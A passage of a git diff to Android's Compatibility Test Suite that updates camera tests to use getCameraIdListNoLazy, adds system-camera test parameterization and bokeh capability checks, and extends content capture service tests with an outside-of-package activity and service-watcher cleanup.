         CamcorderProfile.QUALITY_QVGA,
     };
 
-    private void testVideoSnapshotByCamera(int cameraId) throws Exception {
+    private void testVideoSnapshotByCamera(int cameraId, boolean recordingHint) throws Exception {
         initializeMessageLooper(cameraId);
         Camera.Parameters parameters = mCamera.getParameters();
         terminateMessageLooper();
@@ -3344,6 +3345,7 @@
                 }
             }
             parameters.setPictureSize(biggestSize.width, biggestSize.height);
+            parameters.setRecordingHint(recordingHint);
 
             mCamera.setParameters(parameters);
             mCamera.startPreview();
diff --git a/tests/camera/src/android/hardware/multiprocess/camera/cts/Camera2Activity.java b/tests/camera/src/android/hardware/multiprocess/camera/cts/Camera2Activity.java
index 418eb7c..398ffb8 100644
--- a/tests/camera/src/android/hardware/multiprocess/camera/cts/Camera2Activity.java
+++ b/tests/camera/src/android/hardware/multiprocess/camera/cts/Camera2Activity.java
@@ -63,7 +63,7 @@
                         " could not connect camera service");
                 return;
             }
-            String[] cameraIds = manager.getCameraIdList();
+            String[] cameraIds = manager.getCameraIdListNoLazy();
 
             if (cameraIds == null || cameraIds.length == 0) {
                 mErrorServiceConnection.logAsync(TestConstants.EVENT_CAMERA_ERROR, TAG +
diff --git a/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java b/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java
index 2a69aed..14dbd92 100644
--- a/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java
+++ b/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java
@@ -165,7 +165,7 @@
     public void testBasicCamera2ActivityEviction() throws Throwable {
         CameraManager manager = (CameraManager) mContext.getSystemService(Context.CAMERA_SERVICE);
         assertNotNull(manager);
-        String[] cameraIds = manager.getCameraIdList();
+        String[] cameraIds = manager.getCameraIdListNoLazy();
 
         if (cameraIds.length == 0) {
             Log.i(TAG, "Skipping testBasicCamera2ActivityEviction, device has no cameras.");
@@ -269,7 +269,7 @@
         int PERMISSION_CALLBACK_TIMEOUT_MS = 2000;
         CameraManager manager = (CameraManager) mContext.getSystemService(Context.CAMERA_SERVICE);
         assertNotNull(manager);
-        String[] cameraIds = manager.getCameraIdList();
+        String[] cameraIds = manager.getCameraIdListNoLazy();
 
         if (cameraIds.length == 0) {
             Log.i(TAG, "Skipping testCamera2AccessCallback, device has no cameras.");
@@ -305,7 +305,7 @@
         int PERMISSION_CALLBACK_TIMEOUT_MS = 2000;
         CameraManager manager = (CameraManager) mContext.getSystemService(Context.CAMERA_SERVICE);
         assertNotNull(manager);
-        String[] cameraIds = manager.getCameraIdList();
+        String[] cameraIds = manager.getCameraIdListNoLazy();
 
         if (cameraIds.length == 0) {
             Log.i(TAG, "Skipping testBasicCamera2AccessCallback, device has no cameras.");
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/Camera2ParameterizedTestCase.java b/tests/camera/utils/src/android/hardware/camera2/cts/Camera2ParameterizedTestCase.java
new file mode 100644
index 0000000..c7deb5a
--- /dev/null
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/Camera2ParameterizedTestCase.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.camera2.cts;
+
+import android.content.Context;
+import android.hardware.cts.helpers.CameraParameterizedTestCase;
+import android.hardware.camera2.cts.CameraTestUtils;
+import android.hardware.camera2.CameraManager;
+import android.util.Log;
+
+import java.util.Arrays;
+
+import org.junit.Ignore;
+
+import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.assertTrue;
+
+public class Camera2ParameterizedTestCase extends CameraParameterizedTestCase {
+    private static final String TAG = "Camera2ParameterizedTestCase";
+    protected CameraManager mCameraManager;
+    // The list of camera ids we're testing. If we're testing system cameras
+    // (mAdoptShellPerm == true), we have only system camera ids in the array and not normal camera
+    // ids.
+    protected String[] mCameraIdsUnderTest;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        /**
+         * Workaround for mockito and JB-MR2 incompatibility
+         *
+         * Avoid java.lang.IllegalArgumentException: dexcache == null
+         * https://code.google.com/p/dexmaker/issues/detail?id=2
+         */
+        System.setProperty("dexmaker.dexcache", mContext.getCacheDir().toString());
+        mCameraManager = (CameraManager) mContext.getSystemService(Context.CAMERA_SERVICE);
+        assertNotNull("Unable to get CameraManager", mCameraManager);
+        mCameraIdsUnderTest =
+                CameraTestUtils.getCameraIdListForTesting(mCameraManager, mAdoptShellPerm);
+        assertNotNull("Unable to get camera ids", mCameraIdsUnderTest);
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        String[] cameraIdsPostTest =
+                CameraTestUtils.getCameraIdListForTesting(mCameraManager, mAdoptShellPerm);
+        assertNotNull("Camera ids shouldn't be null", cameraIdsPostTest);
+        Log.i(TAG, "Camera ids in setup:" + Arrays.toString(mCameraIdsUnderTest));
+        Log.i(TAG, "Camera ids in tearDown:" + Arrays.toString(cameraIdsPostTest));
+        assertTrue(
+                "Number of cameras changed from " + mCameraIdsUnderTest.length + " to " +
+                cameraIdsPostTest.length,
+                mCameraIdsUnderTest.length == cameraIdsPostTest.length);
+        super.tearDown();
+    }
+}
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index e408cb5..b49a0a6 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -704,6 +704,38 @@
         }
     }
 
+    public static boolean hasCapability(CameraCharacteristics characteristics, int capability) {
+        int [] capabilities =
+                characteristics.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
+        for (int c : capabilities) {
+            if (c == capability) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    public static boolean isSystemCamera(CameraManager manager, String cameraId)
+            throws CameraAccessException {
+        CameraCharacteristics characteristics = manager.getCameraCharacteristics(cameraId);
+        return hasCapability(characteristics,
+                CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_SYSTEM_CAMERA);
+    }
+
+    public static String[] getCameraIdListForTesting(CameraManager manager,
+            boolean getSystemCameras)
+            throws CameraAccessException {
+        String [] ids = manager.getCameraIdListNoLazy();
+        List<String> idsForTesting = new ArrayList<String>();
+        for (String id : ids) {
+            boolean isSystemCamera = isSystemCamera(manager, id);
+            if (getSystemCameras == isSystemCamera) {
+                idsForTesting.add(id);
+            }
+        }
+        return idsForTesting.toArray(new String[idsForTesting.size()]);
+    }
+
     /**
      * Block until the camera is opened.
      *
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraMetadataGetter.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraMetadataGetter.java
index db75cdd..e0a956e 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraMetadataGetter.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraMetadataGetter.java
@@ -108,7 +108,7 @@
         CameraCharacteristics staticMetadata;
         String[] cameraIds;
         try {
-            cameraIds = mCameraManager.getCameraIdList();
+            cameraIds = mCameraManager.getCameraIdListNoLazy();
         } catch (CameraAccessException e) {
             Log.e(TAG, "Unable to get camera ids, skip this info, error: " + e.getMessage());
             return "";
@@ -180,7 +180,7 @@
         StringBuffer templates = new StringBuffer("{\"CameraRequestTemplates\":{");
         String[] cameraIds;
         try {
-            cameraIds = mCameraManager.getCameraIdList();
+            cameraIds = mCameraManager.getCameraIdListNoLazy();
         } catch (CameraAccessException e) {
             Log.e(TAG, "Unable to get camera ids, skip this info, error: " + e.getMessage());
             return "";
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
index 8069bdb..33f9346 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
@@ -25,6 +25,7 @@
 import android.hardware.camera2.CaptureResult;
 import android.hardware.camera2.cts.CameraTestUtils;
 import android.hardware.camera2.params.StreamConfigurationMap;
+import android.hardware.camera2.params.CapabilityAndMaxSize;
 import android.util.Range;
 import android.util.Size;
 import android.util.Log;
@@ -1852,6 +1853,68 @@
         return modes;
     }
 
+    public CapabilityAndMaxSize[] getAvailableBokehCapsChecked() {
+        final Size FULL_HD = new Size(1920, 1080);
+        Rect activeRect = getValueFromKeyNonNull(
+                CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
+        Key<CapabilityAndMaxSize[]> key =
+                CameraCharacteristics.CONTROL_AVAILABLE_BOKEH_CAPABILITIES;
+        CapabilityAndMaxSize[] caps = mCharacteristics.get(key);
+        if (caps == null) {
+            return new CapabilityAndMaxSize[0];
+        }
+
+        Size[] yuvSizes = getAvailableSizesForFormatChecked(ImageFormat.YUV_420_888,
+                StaticMetadata.StreamDirection.Output);
+        List<Size> yuvSizesList = Arrays.asList(yuvSizes);
+        for (CapabilityAndMaxSize cap : caps) {
+            int bokehMode = cap.getMode();
+            Size maxStreamingSize = cap.getMaxStreamingSize();
+            boolean maxStreamingSizeIsZero =
+                    maxStreamingSize.getWidth() == 0 && maxStreamingSize.getHeight() == 0;
+            // Check bokeh mode is in range.
+            checkTrueForKey(key,
+                    String.format(" bokehMode %d is out of range [%d, %d]", bokehMode,
+                    CameraMetadata.CONTROL_BOKEH_MODE_OFF,
+                    CameraMetadata.CONTROL_BOKEH_MODE_CONTINUOUS),
+                    bokehMode <= CameraMetadata.CONTROL_BOKEH_MODE_CONTINUOUS &&
+                    bokehMode >= CameraMetadata.CONTROL_BOKEH_MODE_OFF);
+            switch (bokehMode) {
+                case CameraMetadata.CONTROL_BOKEH_MODE_STILL_CAPTURE:
+                    // STILL_CAPTURE: Must either be (0, 0), or one of supported yuv/private sizes.
+                    // Because spec requires yuv and private sizes match, only check YUV sizes here.
+                    checkTrueForKey(key,
+                            String.format(" maxStreamingSize [%d, %d] for bokeh mode " +
+                            "%d must be a supported YCBCR_420_888 size, or (0, 0)",
+                            maxStreamingSize.getWidth(), maxStreamingSize.getHeight(), bokehMode),
+                            yuvSizesList.contains(maxStreamingSize) || maxStreamingSizeIsZero);
+                    break;
+                case CameraMetadata.CONTROL_BOKEH_MODE_CONTINUOUS:
+                    // CONTINUOUS: Must be one of supported yuv/private stream sizes.
+                    checkTrueForKey(key,
+                            String.format(" maxStreamingSize [%d, %d] for bokeh mode " +
+                            "%d must be a supported YCBCR_420_888 size.",
+                            maxStreamingSize.getWidth(), maxStreamingSize.getHeight(), bokehMode),
+                            yuvSizesList.contains(maxStreamingSize));
+                    // Must be at least 1080p if sensor is at least 1080p.
+                    if (activeRect.width() >= FULL_HD.getWidth() &&
+                            activeRect.height() >= FULL_HD.getHeight()) {
+                        checkTrueForKey(key,
+                                String.format(" maxStreamingSize [%d, %d] for bokeh mode %d must " +
+                                "be at least 1080p", maxStreamingSize.getWidth(),
+                                maxStreamingSize.getHeight(), bokehMode),
+                                maxStreamingSize.getWidth() >= FULL_HD.getWidth() &&
+                                maxStreamingSize.getHeight() >= FULL_HD.getHeight());
+                    }
+                    break;
+                default:
+                    break;
+            }
+        }
+
+        return caps;
+    }
+
     /**
      * Get and check the available color aberration modes
      *
diff --git a/tests/camera/utils/src/android/hardware/cts/helpers/CameraParameterizedTestCase.java b/tests/camera/utils/src/android/hardware/cts/helpers/CameraParameterizedTestCase.java
new file mode 100644
index 0000000..b2f4c04
--- /dev/null
+++ b/tests/camera/utils/src/android/hardware/cts/helpers/CameraParameterizedTestCase.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.cts.helpers;
+
+import android.app.UiAutomation;
+import android.content.Context;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import android.app.Activity;
+import androidx.test.rule.ActivityTestRule;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class CameraParameterizedTestCase {
+    protected UiAutomation mUiAutomation;
+    protected Context mContext;
+    @Parameter(0)
+    public boolean mAdoptShellPerm;
+
+    @Parameters
+    public static Iterable<? extends Object> data() {
+        List<Boolean> adoptShellPerm = new ArrayList<Boolean>();
+        adoptShellPerm.add(true);
+        adoptShellPerm.add(false);
+        return adoptShellPerm;
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        mContext = InstrumentationRegistry.getTargetContext();
+        if (mAdoptShellPerm) {
+            mUiAutomation.adoptShellPermissionIdentity();
+        }
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (mAdoptShellPerm) {
+            mUiAutomation.dropShellPermissionIdentity();
+        }
+    }
+}
diff --git a/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java b/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java
index b4982b2..82df26e 100644
--- a/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java
+++ b/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java
@@ -38,7 +38,7 @@
      */
     public static boolean isLegacyHAL(Context context, int cameraId) throws Exception {
         CameraManager manager = (CameraManager) context.getSystemService(Context.CAMERA_SERVICE);
-        String cameraIdStr = manager.getCameraIdList()[cameraId];
+        String cameraIdStr = manager.getCameraIdListNoLazy()[cameraId];
         return isLegacyHAL(manager, cameraIdStr);
     }
 
@@ -68,7 +68,7 @@
      */
     public static boolean isExternal(Context context, int cameraId) throws Exception {
         CameraManager manager = (CameraManager) context.getSystemService(Context.CAMERA_SERVICE);
-        String cameraIdStr = manager.getCameraIdList()[cameraId];
+        String cameraIdStr = manager.getCameraIdListNoLazy()[cameraId];
         CameraCharacteristics characteristics =
                 manager.getCameraCharacteristics(cameraIdStr);
 
diff --git a/tests/contentcaptureservice/AndroidTest.xml b/tests/contentcaptureservice/AndroidTest.xml
index f8afb9a..ed7cbe7 100644
--- a/tests/contentcaptureservice/AndroidTest.xml
+++ b/tests/contentcaptureservice/AndroidTest.xml
@@ -22,6 +22,7 @@
   <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
     <option name="cleanup-apks" value="true" />
     <option name="test-file-name" value="CtsContentCaptureServiceTestCases.apk" />
+    <option name="test-file-name" value="CtsOutsideOfPackageActivity.apk" />
   </target_preparer>
 
   <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
diff --git a/tests/contentcaptureservice/OWNERS b/tests/contentcaptureservice/OWNERS
index 4df1ffa..2abf830 100644
--- a/tests/contentcaptureservice/OWNERS
+++ b/tests/contentcaptureservice/OWNERS
@@ -1,2 +1,4 @@
 # Bug component: 544200
-felipeal@google.com
\ No newline at end of file
+adamhe@google.com
+svetoslavganov@google.com
+felipeal@google.com
diff --git a/tests/contentcaptureservice/OutsideOfPackageActivity/Android.bp b/tests/contentcaptureservice/OutsideOfPackageActivity/Android.bp
new file mode 100644
index 0000000..1f35d9b
--- /dev/null
+++ b/tests/contentcaptureservice/OutsideOfPackageActivity/Android.bp
@@ -0,0 +1,28 @@
+//
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsOutsideOfPackageActivity",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java"],
+}
diff --git a/tests/contentcaptureservice/OutsideOfPackageActivity/AndroidManifest.xml b/tests/contentcaptureservice/OutsideOfPackageActivity/AndroidManifest.xml
new file mode 100644
index 0000000..ea2fa41
--- /dev/null
+++ b/tests/contentcaptureservice/OutsideOfPackageActivity/AndroidManifest.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.contentcaptureservice.cts2"
+          android:targetSandboxVersion="2">
+
+    <application>
+
+        <uses-library android:name="android.test.runner" />
+
+        <activity android:name=".OutsideOfPackageActivity"
+                  android:label="OutsideOfPackage"
+                  android:taskAffinity=".OutsideOfPackageActivity"
+                  android:theme="@android:style/Theme.NoTitleBar">
+            <intent-filter>
+                <!-- This intent filter is not really needed by CTS, but it makes easier to launch
+                     this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for the AutoFill Framework APIs."
+        android:targetPackage="android.contentcaptureservice.cts2" >
+    </instrumentation>
+
+</manifest>
diff --git a/tests/contentcaptureservice/OutsideOfPackageActivity/src/android/contentcaptureservice/cts2/OutsideOfPackageActivity.java b/tests/contentcaptureservice/OutsideOfPackageActivity/src/android/contentcaptureservice/cts2/OutsideOfPackageActivity.java
new file mode 100644
index 0000000..5025762
--- /dev/null
+++ b/tests/contentcaptureservice/OutsideOfPackageActivity/src/android/contentcaptureservice/cts2/OutsideOfPackageActivity.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.contentcaptureservice.cts2;
+
+import android.app.Activity;
+
+/**
+ * This activity is used to test temporary Content Capture Service interactions with activities
+ * outside of its own package. It is intentionally empty.
+ */
+public class OutsideOfPackageActivity extends Activity { }
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureActivity.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureActivity.java
index 072c770..3cf1acc 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureActivity.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureActivity.java
@@ -35,7 +35,7 @@
 /**
  * Base class for all activities.
  */
-abstract class AbstractContentCaptureActivity extends Activity {
+public abstract class AbstractContentCaptureActivity extends Activity {
 
     private final String mTag = getClass().getSimpleName();
 
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureIntegrationTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureIntegrationTest.java
index 8f77b2b..2534412 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureIntegrationTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureIntegrationTest.java
@@ -44,6 +44,7 @@
 import com.android.compatibility.common.util.SettingsStateChangerRule;
 import com.android.compatibility.common.util.SettingsUtils;
 
+import org.junit.After;
 import org.junit.AfterClass;
 import org.junit.Before;
 import org.junit.BeforeClass;
@@ -201,6 +202,12 @@
         CtsContentCaptureService.resetStaticState();
     }
 
+    @After
+    public void clearServiceWatcher() {
+        Log.v(mTag, "@After: clearServiceWatcher()");
+        CtsContentCaptureService.clearServiceWatcher();
+    }
+
     @Nullable
     public static void setFeatureEnabledBySettings(@Nullable boolean enabled) {
         SettingsUtils.syncSet(sContext, CONTENT_CAPTURE_ENABLED, enabled ? "1" : "0");
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java
index 0f7e298..866b947 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java
@@ -311,12 +311,17 @@
             @NonNull List<ContentCaptureEvent> events, int minimumSize,
             @NonNull AutofillId... expectedIds) {
         final int actualSize = events.size();
+        final int disappearedEventIndex;
         if (actualSize == minimumSize) {
             // Activity stopped before TYPE_VIEW_DISAPPEARED were sent.
             return false;
+        } else if (actualSize == minimumSize + 1) {
+            // Activity did not receive TYPE_VIEW_TREE_APPEARING and TYPE_VIEW_TREE_APPEARED.
+            disappearedEventIndex = minimumSize;
+        } else {
+            disappearedEventIndex = minimumSize + 1;
         }
-        assertThat(events).hasSize(minimumSize + 1);
-        final ContentCaptureEvent batchDisappearEvent = events.get(minimumSize);
+        final ContentCaptureEvent batchDisappearEvent = events.get(disappearedEventIndex);
 
         if (expectedIds.length == 1) {
             assertWithMessage("Should have just one deleted id on %s", batchDisappearEvent)
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankActivityTest.java
index 6775d56..6f64be3 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankActivityTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankActivityTest.java
@@ -15,23 +15,30 @@
  */
 package android.contentcaptureservice.cts;
 
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.contentcaptureservice.cts.CtsContentCaptureService.CONTENT_CAPTURE_SERVICE_COMPONENT_NAME;
 import static android.contentcaptureservice.cts.Helper.resetService;
+import static android.contentcaptureservice.cts.Helper.sContext;
 
 import static com.android.compatibility.common.util.ActivitiesWatcher.ActivityLifecycle.DESTROYED;
 import static com.android.compatibility.common.util.ActivitiesWatcher.ActivityLifecycle.RESUMED;
 
 import static com.google.common.truth.Truth.assertThat;
 
+import android.app.Instrumentation;
 import android.content.ComponentName;
+import android.content.Intent;
 import android.contentcaptureservice.cts.CtsContentCaptureService.Session;
 import android.platform.test.annotations.AppModeFull;
+import android.support.test.uiautomator.UiDevice;
 import android.util.Log;
 
+import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.rule.ActivityTestRule;
 
 import com.android.compatibility.common.util.ActivitiesWatcher.ActivityWatcher;
 
+import org.junit.Before;
 import org.junit.Test;
 
 import java.util.concurrent.atomic.AtomicBoolean;
@@ -46,6 +53,8 @@
     private static final ActivityTestRule<BlankActivity> sActivityRule = new ActivityTestRule<>(
             BlankActivity.class, false, false);
 
+    private UiDevice mDevice;
+
     public BlankActivityTest() {
         super(BlankActivity.class);
     }
@@ -55,6 +64,12 @@
         return sActivityRule;
     }
 
+    @Before
+    public void setup() throws Exception {
+        final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        mDevice = UiDevice.getInstance(instrumentation);
+    }
+
     @Test
     public void testSimpleSessionLifecycle() throws Exception {
         final CtsContentCaptureService service = enableService();
@@ -161,4 +176,21 @@
         resetService();
         service.waitUntilDisconnected();
     }
+
+    @Test
+    public void testOutsideOfPackageActivity_noSessionCreated() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        Intent outsideActivity = new Intent();
+        outsideActivity.setComponent(new ComponentName("android.contentcaptureservice.cts2",
+                "android.contentcaptureservice.cts2.OutsideOfPackageActivity"));
+        outsideActivity.setFlags(FLAG_ACTIVITY_NEW_TASK);
+
+        sContext.startActivity(outsideActivity);
+
+        mDevice.waitForIdle();
+
+        assertThat(service.getAllSessionIds()).isEmpty();
+    }
 }
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivityTest.java
index 9f453b8..5beb910 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivityTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivityTest.java
@@ -1140,6 +1140,7 @@
         watcher1.waitFor(DESTROYED);
 
         // Re-enable feature
+        CtsContentCaptureService.clearServiceWatcher();
         final ServiceWatcher reconnectionWatcher = CtsContentCaptureService.setServiceWatcher();
         reconnectionWatcher.whitelistSelf();
         setFeatureEnabled(service1, reason, /* enabled= */ true);
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsContentCaptureService.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsContentCaptureService.java
index 349ff36..840bd03 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsContentCaptureService.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsContentCaptureService.java
@@ -149,6 +149,16 @@
         }
     }
 
+    public static void clearServiceWatcher() {
+        if (sServiceWatcher != null) {
+            if (sServiceWatcher.mReadyToClear) {
+                sServiceWatcher.mService = null;
+                sServiceWatcher = null;
+            } else {
+                sServiceWatcher.mReadyToClear = true;
+            }
+        }
+    }
 
     /**
      * When set, doesn't throw exceptions when it receives an event from a session that doesn't
@@ -170,13 +180,14 @@
             return;
         }
 
-        if (sServiceWatcher.mService != null) {
+        if (!sServiceWatcher.mReadyToClear && sServiceWatcher.mService != null) {
             addException("onConnected(): already created: %s", sServiceWatcher);
             return;
         }
 
         sServiceWatcher.mService = this;
         sServiceWatcher.mCreated.countDown();
+        sServiceWatcher.mReadyToClear = false;
 
         if (mConnectedLatch.getCount() == 0) {
             addException("already connected: %s", mConnectedLatch);
@@ -208,8 +219,7 @@
             latch.countDown();
         }
         sServiceWatcher.mDestroyed.countDown();
-        sServiceWatcher.mService = null;
-        sServiceWatcher = null;
+        clearServiceWatcher();
     }
 
     /**
@@ -479,6 +489,7 @@
 
         private final CountDownLatch mCreated = new CountDownLatch(1);
         private final CountDownLatch mDestroyed = new CountDownLatch(1);
+        private boolean mReadyToClear = true;
         private Pair<Set<String>, Set<ComponentName>> mWhitelist;
 
         private CtsContentCaptureService mService;
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivityTest.java
index e01ed72..74429de 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivityTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivityTest.java
@@ -111,6 +111,65 @@
     }
 
     /**
+     * Test for session lifecycle events.
+     */
+    @Test
+    public void testSessionLifecycleEvents() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+        final AtomicReference<CustomView> customViewRef = new AtomicReference<>();
+
+        CustomViewActivity.setCustomViewDelegate((customView, structure) -> {
+            customViewRef.set(customView);
+            final ContentCaptureSession session = customView.getContentCaptureSession();
+            session.notifySessionResumed();
+            session.notifySessionPaused();
+        });
+
+        final CustomViewActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final Session session = service.getOnlyFinishedSession();
+        Log.v(TAG, "session id: " + session.id);
+
+        assertRightActivity(session, session.id, activity);
+
+        final View grandpa1 = (View) activity.mCustomView.getParent();
+        final View grandpa2 = (View) grandpa1.getParent();
+        final View decorView = activity.getDecorView();
+        final AutofillId customViewId = activity.mCustomView.getAutofillId();
+        Log.v(TAG, "assertJustInitialViewsAppeared(): grandpa1=" + grandpa1.getAutofillId()
+                + ", grandpa2=" + grandpa2.getAutofillId() + ", decor="
+                + decorView.getAutofillId() + "customView=" + customViewId);
+
+        final List<ContentCaptureEvent> events = session.getEvents();
+        Log.v(TAG, "events(" + events.size() + "): " + events);
+        final int additionalEvents = 2;
+
+        assertThat(events.size()).isAtLeast(CustomViewActivity.MIN_EVENTS + additionalEvents);
+
